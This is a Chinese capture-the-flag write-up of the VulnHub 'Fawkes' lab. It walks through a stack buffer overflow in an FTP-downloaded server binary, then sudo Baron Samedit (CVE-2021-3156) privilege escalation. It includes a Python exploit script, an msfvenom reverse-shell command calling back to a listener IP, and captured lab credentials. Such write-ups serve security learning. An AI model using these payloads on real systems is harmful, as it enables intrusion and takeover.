Fawkes 靶机之 缓冲区溢出、漏洞利用代码编写等利用

Fawkes 靶机

靶机:https://download.vulnhub.com/harrypotter/Fawkes.ova

难度:高

目录

目标:取得 2 root 权限 + 3 Flag

主机发现

端口扫描

FTP服务攻击

缓冲区溢

模糊测试

漏洞利用代码编写

流量转包分析

堆溢出漏洞攻击

nc的利用

成功提权


目标:取得 2 root 权限 + 3 Flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • WEB信息收集
  • FTP服务攻击
  • 缓冲区溢出
  • 模糊测试
  • 漏洞利用代码编写
  • 流量转包分析
  • 堆溢出漏洞攻击
  • Metasploit(MSF)
  • 手动修复EXP代码
  • 本地提权

主机发现

arp-scan -I eth0 -l (eth0 为当前kali使用的网卡)

端口扫描探测

FTP服务攻击

ftp 的vsftp 3.0.3存在远程拒绝服务漏洞

并允许匿名登录存在文件 server_hogwarts

下载文件server_hogwarts文件

get server_hogwarts

查看文件类型

file server_hogwarts

ELF 32位在linux是可执行程序

添加执行权限并执行,查看文件进程

查看运行server文件以后是否在本地开放端口

探测靶机端口时也开放有9898端口,检测是否是一个服务,发现是一样的

尝试连接靶机的9898端口,是一样的,没有发现可用的信息

缓冲区溢

进行缓冲区溢出的探测

先关闭alsr功能(alsr功能可以让固定的程序在内存中占用的内存地址都不一样,没有规律,来保护服务器的安全性)

将randomize_va_space文件的赋值改成0(需要root权限)

用edb-debugger调试工具来进行调试

kali默认没有,需要先下载

apt-get install edb-debugger

需要等待几分钟下载完成

安装完成,来启动,比较友好的图形化的调试工具

启动后的界面是这样子滴

通过file->attach来定位服务

模糊测试

找到以后点击OK,就可以对服务进行调试了

进来以后点击run按钮,让程序跑起来

然后对程序发起探测请求

对输入的地方注入500个大写的A,可以用python生成。

python3 -c "print('A'*500)"

将500个A放入输入的地方,调试器就报错

通过报错,可以确认存在缓冲区溢出漏洞(覆盖了EIP,EIP是接下来CPU要执行的代码的地址)(ESP寄存器是存放要执行的具体的代码)

因为ESP被A给覆盖,修改EIP寄存器的内容,将指令强制插入到ESP寄存器中的二进制的具体的指定,指令一旦执行,就可以反弹连接

用msf-pattern_create生成500个不重复的字符来替换A

重新启动一下程序,在尝试

发现ESP已经注入成功

利用msf-pattern_offset 工具计算500个字符的偏移量(64413764为EIP寄存器的位置),可以看到偏移了112位,也就是EIP的四个字节字符的位置是113、114、115、116

漏洞利用代码编写

构造python脚本程序

vi一个exp1.py

具体内容如下

#!/usr/bin/python
import sys,socket
payload = 'A'*112 + "B"*4 + 'C'*32
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
    print("Wrong!")
    sys.exit()

给脚本赋予执行权限,重新启动服务以及调试工具(记得点击run)

执行exp,程序报错。

显示42424242,说明是4个大写的B,验证了刚才代码里的4个B可以写入,ESP寄存器的内容全变成了C,说明刚才代码里的能被写入ESP寄存器。

修改EIP寄存器的指令所在的内存地址,将执行的下一条命令的地址指向ESP,ESP        执行的命令改为将要注入的反弹shell的二进制代码命令。

在edb中,找到插件,将EIP跳转到ESP

Plugins -> OpcodeSearcher -> Opcode Search ->

搜索有执行权限的server服务,将EIP跳转到ESP,找到了jmp esp

将内存地址记录下来,并插入4个B所在的位置,这个地址被执行,将跳转到ESP,由于内存地址是从低位到高位去执行,所以将每个字节反着写,将32个C换成执行反弹shell的二进制的代码

0x08049d55 '\x55\x9d\x04\x08'

用msfvenom生成一个二进制反弹shell的文件,刚才用file查看server文件时是32位的,选x86,设置回连的IP以及端口、-b 排除坏字符 -f 输出选择python文件

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.124 LPORT=4444 -b "\x00" -f py

将buf开头的代码插入到32个C的位置,为了保证程序的正常运行在buf前插入一些空指令(\x90),一般都是4的倍数,当CPU读取的空指令时就会往下滑,一直到所有的空指令结束,读取buf。尽量不到一个字节一个字节的读,插入空指令,不会影响系统的运行。

尝试反弹shell,监听本机4444端口,重启服务,运行exp,连接成功!

修改exp代码,将连接的服务地址改成目标靶机,去攻击目标靶机

重新监听4444端口,运行exp,连接成功

想升级shell发现没有python、bash、但是存在/bin/sh 升级shell成功

目前已经打点成功,接下来尝试提权

查看当前文件,尝试有没有提权的信息,发现有个.mycreds.txt文件,发现一个像密码的字符,并成功登录当前的用户的2222端口

查看当前的IP地址、网卡以及根目录文件时,发现是个docker容器,

发现当前容器有sudo权限,切换成root权限,在root根本目录发现了第一个flag,horcrux1.txt

对horcrux1.txt进行bash64解码是一段话,但是毫无价值

流量转包分析

发现note.txt有有用信息

翻译过来就是有人在尝试登录ftp服务器

用tcpdump抓取tcp的流量包,发现了一个用户名密码 neville/bL!Bsg3k

尝试用这个账号密码登录ssh,可以登录成功,并且是宿主机

堆溢出漏洞攻击

尝试提权,经过大量的信息收集发现了一个可以提权的点,关于sudo的基于堆栈的溢出漏洞

参考连接:

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog

漏洞针对Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). 有效,目标主机刚好符合Debian 10、Sudo 1.8.27

对主机进行检测是否存在CVE-2021-3156

靶机报错,则说明存在CVE-2021-3156

寻找漏洞代码

在msf当中存在漏洞代码

想要利用需要先和目标靶机建立一个session

使用auxiliary/scanner/ssh/ssh_login 和目标靶机简历一个会话

获取了一个session,使用刚才的CVE进行利用

直接设置一个session运行

发现老失败

最后利用github上的脚本提权

下载地址:

GitHub - worawit/CVE-2021-3156: Sudo Baron Samedit Exploit

最后经过大量的尝试发现目标靶机的sudo路径位置不一样

更改代码

nc的利用

利用nc 将利用代码传到目标靶机

成功提权

利用python3 来执行exp.py

提权成功获取第二个flag

获取第三个flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值